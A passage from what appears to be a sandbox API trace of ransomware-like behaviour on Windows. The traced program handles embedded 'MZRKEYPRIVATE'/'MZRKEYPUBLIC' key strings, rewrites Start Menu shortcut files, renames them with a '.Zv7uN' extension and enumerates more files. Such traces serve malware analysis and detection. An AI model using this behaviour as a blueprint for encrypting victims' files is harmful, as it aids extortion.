Uw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0129.534] GetCurrentThreadId () returned 0xa30 [0129.534] GetCurrentThreadId () returned 0xa30 [0129.534] GetCurrentThreadId () returned 0xa30 [0129.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.535] GetCurrentThreadId () returned 0xa30 [0129.535] GetCurrentThreadId () returned 0xa30 [0129.535] GetCurrentThreadId () returned 0xa30 [0129.535] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\default programs.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0129.536] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0129.536] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0129.536] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x502 [0129.536] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0129.536] ReadFile (in: hFile=0x120, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x502, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f96c*=0x502, lpOverlapped=0x0) returned 1 [0129.539] CloseHandle (hObject=0x120) returned 1 [0129.539] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\default programs.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0129.541] WriteFile (in: hFile=0x120, lpBuffer=0x1f1ae00*, nNumberOfBytesToWrite=0x502, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f1ae00*, lpNumberOfBytesWritten=0x18f978*=0x502, lpOverlapped=0x0) returned 1 [0129.543] CloseHandle (hObject=0x120) returned 1 [0129.543] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\default programs.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\default programs.lnk.zv7un")) returned 1 [0129.545] GetCurrentThreadId () returned 0xa30 [0129.545] GetCurrentThreadId () returned 0xa30 [0129.545] GetCurrentThreadId () returned 0xa30 [0129.545] GetCurrentThreadId () returned 0xa30 [0129.545] GetCurrentThreadId () returned 0xa30 [0129.545] GetCurrentThreadId () returned 0xa30 [0129.545] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0129.545] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0129.545] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="Programs", cAlternateFileName="")) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0129.545] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0129.545] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0129.545] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\windows update.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2)) returned 1 [0129.546] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\windows update.lnk")) returned 0x20 [0129.546] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk", dwFileAttributes=0x80) returned 1 [0129.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50U